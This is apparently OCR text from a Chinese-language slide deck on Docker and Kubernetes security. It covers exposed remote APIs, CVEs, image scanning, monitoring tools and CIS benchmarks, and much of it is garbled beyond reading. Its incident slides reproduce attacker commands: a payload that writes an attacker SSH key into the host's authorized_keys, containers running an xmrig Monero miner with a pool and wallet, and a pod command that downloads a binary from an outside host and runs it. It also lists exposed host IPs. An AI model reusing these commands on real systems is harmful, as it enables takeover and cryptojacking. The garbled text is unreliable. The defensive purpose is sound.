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Docker{sE

Z5/LEPN

W

> A le=ERDocker ? > YJDockerZ2HEEEBIIE ?

IE7E(ER
14%
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Docker5VM

App A

Bins/Libs

CONTAINER
App B App C

Bins/Libs Bins/Libs

Docker

Host OS

Infrastructure

B ER SRR
Webshell

B ER
Rootkit

NZEses
SSHE %

VM
App A App B App C
Bins/Libs Bins/Libs Bins/Libs

Guest OS Guest OS Guest OS

Hypervisor

Infrastructure

BGee
DockersFiFiHiELE
DockerBEHIZE
DockerAEsmHE T ERY
ZE
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KT DockerfIZEH14

A% E 2 ---DockeridbiZ It /\/\/\

DIRTY GOW
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KT DockerfN&ZESE14

DockeriBiG &L /\/\/\

docker123321

@ Joined May 2017
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"Cmd": [
“/bin/sh",
e,
"echo \'"ssh-rsa AAAAB3NzaClycZEAAAADAQABAAABAQDCFTF58tVTlecdQKclEiuMfhYjsD/Do/XCpvkV8gHTyS9EBPQog+s4lTr
GfhmUILRSXPNDAcZmiN2zvF6Bttelb0GeXKdC fR+cnGgB3HNERBOHAdK 7LE6RAGUL 3E] fgagsYnk /cEDeiGaH4da%bwlUpalS rXRxYhe
+FOROIchB4vApQ6HQiPs41l ZvE]j K4E TGGY9UgwgkssPnpXiucBxGdWVDiXIaXwhOBAUTepmThdSNsKaallM4O0HAEwc RRwh+LvUDoDg
TL7nmOAB+] 2v5IXf3elUjLCE5eqWPa fywuSFS4n8I ThROQZANR7P1xCfvxzflZ+ny6QA4LSe2bbwPx2G0vP351eV root@ubuntu’”

>> /mnt/root/.ssh/authorized keys"

—

docker pause “docker ps|grep kube-apis |awk '{print $1}'";

docker pause “docker ps|grep nginx78 |awk '{print $1}'";

docker run --name sosmseww --restart unless-stopped --read-only -m 50M bitnn/alpine-xmrig -o
stratum+tcp://xmr.crypto-pool.fr:3333 -u
41e2vPcVux9NNeT fiWe8TLKZUWxCXIvNyCQtNbE9YEexdNs711 jEaDRXWbwaVedvUMveKAZAL A4 BxgUi29TpKXpm3zKTUY 0
-p X -k --donate-level=1;

docker run --name sosmseaZ --restart unless-stopped --read-only -m 50M bitnn/alpine-xmrig -o
stratum+tcp://xmr.crypto-pool.fr:3333 -u
41e2vPcVux9NNeT TiWeBTLKZ2UWxCXIvNyCOQtNbESYEexdNs711 jEaDRXWowaVedvUMveKAzAL A4 1 BxgUi28TpKXpm3zKTUY 0
-p X -k --donate-level=1;

docker run --name sosmsenZ --restart unless-stopped --read-only -m 50M bitnn/alpine-xmrig -o
stratum+tcp://xmr.crypto-pool.fr:3333 -u
41e2vPcVux9NNeT TiWeBTLKZUWxCXIvNyCOQtNbESYEexdNs711 jEaDRXWowaVedvUMveKAzAL A4 1 BxgUi28TpKXpm3zKTUY 0
-p X -k --donate-level=1;

docker run --name sosmsekZ --restart unless-stopped --read-only -m 50M bitnn/alpine-xmrig -o
stratum+tcp://xmr.crypto-pool.fr:3333 -u
41e2vPcVux9NNeT TiWe8TLKZUWXCXIvNyCQTtNbE9YEexdNs711 jEaDRXWowaVedvUMveKAZAL A4 1 BxgUi29TpKXpm3zKTUY 0
-p X -k --donate-level=1;

docker run --name sosmsetZ --restart unless-stopped --read-only -m 50M bitnn/alpine-xmrig -o
stratum+tcp://xmr.crypto-pool.fr:3333 -u
41e2vPcVux9NNeT fiWe8TLKZUWxCXIvNyCQtNbE9YEexdNs711 jEaDRXWbwaVedvUMveKAZAL A4 BxgUi29TpKXpm3zKTUY 0
-p X -k --donate-level=1;

kubectl delete $(kubectl --server=aaa get all grep "nginx78-" awk "{print “$1}")

)



Monero Mining Pool # Home & Pool Blocks o Getting Started 4] Payments @ Monitoring @ Poloniex ®, Support

Your Stats & Payment History
Q Lookup
mail to min

Address: 41e2vPcVux9NNeT fWe8TLK2UWXCXIvNyCQtNb69YEexdNs711jEaDRXWbwaVedvUMveKAzA1A4 ] 8xgU129TpKXpm3zKTUYo
Pending Balance: 0.299066325762 XMR
Monerov Balance: 2.990663257620 XMV

Personal Threshold(Editable): < 7.100 XMR

Payout minimal interval(Editable): < 318 hours

E B BBB P

Total Paid: 544.740081000000 XMR
Last Share Submitted: about a month ago
Hash Rate: 0 Hisec

Estimation for 24H: NC

O]
&
&
[+3

Total Hashes Submitted: 2192050638000

Payments

© Time Sent @ Transaction Hash Amount & Mixin

4/
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FDockerfY&ZE={4

DockerfZ{f &L
> NtdockerGE LRIEGA—EEIREZER

> BERBTEARE
> puliRGRILIET , FHEDLE ? EABEHRTEAEXAIATEE ?
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X

~Dockerf &L E

=

DockerspiPiliEZE £ ---Docker remote APIRIZHLGE

iR

HERS
IR -
LEES =D
S EE
SRR
NFFaE]

ank:

WooYun-2016-

docker remote APIFERARISEITEM

P. SHODAN
I |J IEJ e a1 #% Exploits * Maps

2016-05-17
2016-05-17

% Share Search

China

e o % United States

N=N = I:I

.I --; JiL= Ef: 18 AL Germany
Hong Kong

http:f}ww‘ Netherlands

G hou Alibaba Advertising Co.,Ltd.

Digital Ocean

linux

windows

roduct."Docker’

' Q # Explore Downloads Reports Developer Pricing Enterprise Access

& Download Results Ll Create Report

52.80.28.32

linux
Beijing Guanghuan Xinwang Digital Technology
colt

Bl China, Beiing

52.87.61.215

linux
Amazon.com

BE United States, Ashbum
Detaill

52.80.24.171

linux
Beijing Guanghuan Xinwang Digital Technology

Details

47.97.189.62

linux
Aliyun Computing Co.

Details

Contact Us

> REAEFdocker remote apifRSS
> JOACL , {XseiFaI{EIPiaIE]
> BHTLSIAIE
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dinl
1]

=

FFDockerfy=Z

DockerABH =T LR

cending re ending Numb
UpdateDate  Score  Gained Access Level  Access Complexity  Authentication Conf. Integ.

CWEID #ofExploits  Vulnerability Type(s)  Publish Date
s Medium Notr

S 2017-11-01  2017-11-22 4.3

earlier al

1.1

1B4ERRSS, 3

remote authentic:
ing the state that is le

Partial

nur rmame in the

Partial Partial

EEHE, 1

2014-12-30
ed (1) ima

1A, 3

2014-12-12  2014-12-15

It run profile of im
2014-12-12 2014-12-15 Partial

arbitrary c
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KT DockerfIZEH14

DockenrfdlE TEHIZ £ ---kubernets

A Not Secure hktps:// J#!/pod/default/services-1himk?namespace=default W

kubernetes Q, Search + CREATE N

= Workloads > Pods > services-1himk 2 = LoGS /2" EDIT W DELETE

dIMespdace

default Namespace: default

Labels: app: my
Overview Annotations: Created by: ReplicationController services

Creation time: 2018-01-29T00:02
Workloads

Status: Running

Daemon Sets
Deployments
Jobs Containers

Pods
. my
Replica Sets

Replication Controllers Image: centos
Environment variables: -
Stateful Sets

Commands: sh

Discovery and Load Balancing -C
curl -0 /var/tmp/config.json ht1p5:f{xaxaxa.eufconﬂ%‘l Jjson:curl -o /var/tmp/servcesa https://xaxaxa.eu/gee;chmod 777 /var/tmp/serveesa;cd /var/tmp../servees:

Ingresses

Services

@ 2018 MR LW




A Not Secure | https://!

Name

kubernetes

default

Overview

Workloads

Daemon Sets
Deployments

Jobs

Pods

Replica Sets
Replication Controllers

Stateful Sets
Discovery and Load Balancing

Ingresses

Services

[#!/secret/default/aws-s3-credentials?namespace=default

Q. Search

Details

Name: aws-s3-credentials
Namespace: default
Creation time: 2017-10-12T722:29

Type: Opaque

Data

Q aws-s3-access-key-id:

Q aws-s3-secret-access-key:



R Dockerd 50k

> FABDockerSEE > SO > HErnE
> Dockergz (&3t > HBHETUEHIT > HeE
> Docker&&e gz
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Dockerizl&&E W

DockerFAB CEE
> TEA(F

> TLSHNZE:

> TokeniAilF

S

Push
/ pull l i

Build
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Dockeriz{R&E

> BEFARfAeinEiEs (RBAC)
> ERfgihlARegistry RSAMR(EIIMEICR , EFHEHIT

https://github.com/vmware/harbor

2018 BRIV



Dockeriz{f &=

Dockerim{Fi3#a

references
parent
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DockeriZfR&E

DockeriR{&35H

» Docker Security Scanning

Image: nginx

Total : 71 vulnerabilities

» CoreQOS Clair soun: :

> Anchore .......::oooooooooooooooooooo
0000000000000

e21b2bh74456d8c887b4ddd5ef150570c48272da7aebe012d08da7h319a86791d

1T
APIiEF
Web5HE NO

Y #FKubernets v v
$#ECI/ICD —IRFFE v JenkinsiFH&
EATR =EHR o FIR

https://github.com/coreos/clair
https://anchore.io/ O/ 2018 FIEREDTE



Dockeriz{f &=

DockerRigiI T HANEE

CVERiREREM R
o HEIBMERS o HEE

o [EEHH

“E?‘ﬁ B
0, i o G
e o mEfL
o iHEE
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Dockenz{THt&E

DockerSEHEHE

Docker exec 12fkg847810

p—

! :
o

¥

5asd456kjf82

2018 RV



Dockenz{Ti1% %

Docker HEWGEE

> BEEAGREIRS , logstash KFET
> BeaEEXHERSE

> EESRRERBEE
> ﬁéElU\EE’J\MFIR
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Dockenz{Ti1% %

> 1EIZAPIE Alog-service
> EBREREENNEFRABEEBEXHE

1

Docker HENEE---lEfE

- -
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Dockenz{TiiZE

DockerZg 5=
> (ERTEHFR=EAFEH

£ ossEC

2018 BIRRS I



wmber of HTTP transactions

Dockernz1

22,604

Count

Docker&Z £ 5i=---if S—
> BRSINBEIGR
> BRZEEILRE

query: Descending
POST /api/console/proxy

POST /api/monitoring/v1/clust

ICMP
HTTP
DNS
MySQL
PostgreSQL
Redis
Memcached
MongoDB

POST /api/manitoring/v1/clust
GET /api/xpack/v1/info

GET /api/monitoring/v1/check.
GET /uiffavicons/favicon-32x3:
GET /api/ml/anomaly_detector
GET /api/ml/datafeeds/_stats

GET /uiffavicons/favicon-16x1¢

NN N AN S

https://www.elastic.co/cn/products/beats/packetbeat

HTTP error codes evolution

query: Descending

SELECT intcolt.intcol2.intcol3.intcol4.intcolS.intcol6.intcol7.intcol8.intcold,intcol1 0, charcol1 .charcol2.ch
SELECT intcolt.intcol2.intcol3.intcol4.intcolS.charcol1.charcol2.charcol3.charcold.charcolS.charcol6.cha
SELECT intcolt.intcol2 intcol3.intcol4,intcolS.intcol6.intcol 7.intcol8.intcol9,charcoll,.charcol2,charcol3,ct

NSERT INTO t1 VALUES
(NULL,100669,332702450.660916487,67974802.573556837, IpWSKKXdT]GCh2PNzLoeR0527frpQDQEU
NSERT INTO t1 VALUES

(NULL,1120090212,112526508,1625315128,1743768897,152059765,'dqYCp1 NIXNHwWBkTsAXo6jkswbz
NSERT INTO t1 VALUES
(NULL,1804289383,846930886,1681692777,1714636915,1957747793,'vmC9127q|NmM0O6sGBERI2q2j7v
NSERT INTO t1 VALUES
(NULL,364531492,914600930,2085308422,531900034,1166437685, SUKo4M50OM7IdvisScEWKSrsGIES:
NSERT INTO t1 VALUES

(NULL,831083598,1142699356,1718500113,822304435,1385952847, UM4AMHY0OBMX)4TTmfOig Cj68z)
NSERT INTO £1 VALUES
(NULL,1066832056,232787891,1914020567,11923762

63,725961688, Tpf] lwjeemwleMLL8DebAogdiGIS

NSERT INTO t1 VALUES

(NI 194500221 E A1 29£624 1 C2ECATEAT INTREAGI T 1 REINAANRE WM AnHaYINAcRnnsl TRLARFL Al T

»

query: Descending

CREATE TABLE "t1° (id serial.intcol1 INT(32) .intcol2 INT(32) .intcol3 INT(32) ,intcol4
NT(32) .intcol5 INT(32) .intcolé INT(32) intcol7 INT(32) .intcol8 INT(32) .intcol?
NT(32) .charcoll VARCHAR(128).charcol2 VARCHAR(128).charcol3
VARCHAR(128),charcold VARCHAR(128).charcol5 VARCHAR(128).charcolé
VARCHAR(128))

CREATE TABLE "t1° (id serial,intcol1 INT(32) ,intcol2 INT(32) .intcol3 INT(32) ,intcol4
NT(32) .intcol5 INT{32) ,intcole INT(32) ,intcol7 INT(32) ,intcol8 INT{32) ,charcoll
VARCHAR(128),charcol2 VARCHAR(128),charcol3 VARCHAR(128),charcala
VARCHAR(128),charcols VARCHAR(128),charcolé VARCHAR(128),charcal7
VARCHAR(128).charcold VARCHAR(128).charcold VARCHAR(128))

CREATE TABLE "t1° (id serial.intcol1 INT(32) .intcol2 INT(32) .intcol3 INT(32) ,intcol4
NT(32) .intcol5 INT(32) .intcolé INT(32) intcol7 INT(32) .intcol8 INT(32) .intcol?
NT(32) .charcoll VARCHAR(128).charcol2 VARCHAR(128).charcol3
VARCHAR(128),charcold VARCHAR(128).charcol5 VARCHAR(128).charcolé
VARCHAR(128),charcol7 VARCHAR(128),charcold VARCHAR(128),charcol9
VARCHAR(128),charcol10 VARCHAR(128))

CREATE TABLE "t1° (id serial,intcal1 INT(32) ,intcol2 INT(32) .intcol3 INT(32) ,intcol4
NT(32) .intcol5 INT{32) ,intcole INT(32) ,intcol7 INT(32) ,intcol8 INT{32) ,charcoll
VARCHAR(128),charcol2 VARCHAR(128),charcol3 VARCHAR(128),charcald
VARCHAR(128).charcols VARCHARM 28)charcold VARCHARM 2R).charcol7

Average
responsetime

49.667

26.667

244

18.632



N/

Dockenz{TiiZE

DockerZglilE---RE1Th
> SERJNSEE

> Ea:ﬂ'ﬁagﬂg*mmu sysdig:~ % sudo falco
Sat Jan 13 @7:11:15 2018: Falco initialized with configuration file /fetc/falco/falco.yaml

Sat Jan 13 @7:11:15 2018: Parsed rules from file /etc/falco/falco_rules.yaml
Sat Jan 13 07:11:15 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml

@ Falco
sysdig:~

1 Falco

https://sysdig.com/opensource/ 2018 EiERLDVE



Dockenz{TiiZE

DockerZ2i5is-HiZIEE:

curl -XGET --unix-socket /var/run/docker.sock http://v1.26/containers/48f/top

rl-;-l:“:lt_rl . I'I_g,i:_‘l:_ n ., rlg't'l'? E.rl . . r|5El::|:|g n . n :_'
"root", 10m, m4E92,  MSepO4n e
,m4T710m, ,"Sep04n, mIn mog 06" ,"/opt/dio

A T2T10m, , "Sepl4™, ", ,"p0f -i any -u dionasa -Q Jtmp/p0f.sock -g -1

"root™,"4740" "4738" ,"0" "Sep04™ , "2","00 oo™ ,"/opt/dionaea/bin/dionaca -u dionaea —g dionaea -cC

"root™,"99270","99261","0", "Sep06", "pta/4", "00

"root","113583","99270","0","00:18", "pte/4","00:00: 00", "top"”

"Titles":
[
rl]'__]':]:,rl . o E::]::,rl . n E:F::]:,rl . n E L . rll':'l'[':I_IE n . rlI‘I"-_.l-"'rI . "T:I‘IE n , " I'::I_I]:,rl
1

2018 EEIER S



Docker§il<e

W

Be&trHE---Docker

St RIS
Namespace | SRR GRCRE
Cgroups EIEEIRS A
Selinux/APPArmor SEFRSR G
ENHE S
ZEIE £ hi=17SSH

NERR I DX RN ERIET

BRSFIPHETLSIAIE

CIS Docker Community Edition Benchmark

LR 5l ) Hfthig s
25| R RS A AR E S e NSRS
PRAEIBOARIR S EEE | TEHARITE IR TR 2w

https://github.com/docker/docker-bench-security 2018 2R LI



Docker&§il&Ee

[root@localhost docker-bench-security]# sh docker-bench-security.sh

+*

#
#
#
#
#
#

k-

Docker, Inc.

(c) 2015-

Docker Bench for Security v1.3.4

Initializing Thu Sep 6 17:18:54 CST 2018

[WARN]
[NOTE]

WARN
WARN
WARN
WARN

= = 1 —
[ Sy NN gy SN gy SR

[WARN]
[WARN]

- Host Configuration
Ensure a separate partition for containers has been created
Ensure the container host has been Hardened

Ensure Docker is up to date
Using 1.13.1, verify is it up to date as deemed necessary
Your operating system vendor may provide support and security maintenance for Docker
allowed to control Docker daemon

1

1.1
1.2 -
1.3

(S
L] L]

B R

N R

1 1 * 1

Ensure
Ensure
Ensure
Ensure
Ensure
Ensure

only trusted users are

auditing
auditing
auditing
auditing
auditing

File not found

Ensure

auditing

File not found

Ensure
Ensure

auditing
auditing

is
is
is
is
is

is

is
is

configured
configured
configured
configured
configured

configured

configured
configured

for
for
for
for
for

for

for
for

the Docker daemon

Docker files and directories
Docker files and directories
Docker files and directories
Docker files and directories

Docker files and directories

Docker files and directories
Docker files and directories

Checks for dozens of common best-practices around deploying Docker containers in production.
Inspired by the CIS Docker Community Edition Benchmark v1.1.0.

/var/lib/docker
/etc/docker
docker.service
docker.socket

/etc/default/docker

/etc/docker/daemon.json
/usr/bin/docker-containerd

2018 BEERLIDI



Docker&SilZ=ZE

iR fE---Kubernetes

(5 iy O EPRRLEE

v etcd

v' kube-apiserver

v' kube-scheduler

v' kube-controller-manager
O TN R Lhita

v' Kubelet

CIS Kubernetes Benchmark \/ ku be-proxy

2018 ERSIDE
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DockerZ £ &

W

AR

SEENHERZ
EffEAE

@

DockerEl il
ATBSZ1ERY0-day

Webshell &

@
ST o 3E2F75 M, ESRTIST ? Docker
SCISS | REEA MBS ?
o H[EAHENNT

° DockerI{i=%&k

o WMBIETH , AT
& ? REHABARFR
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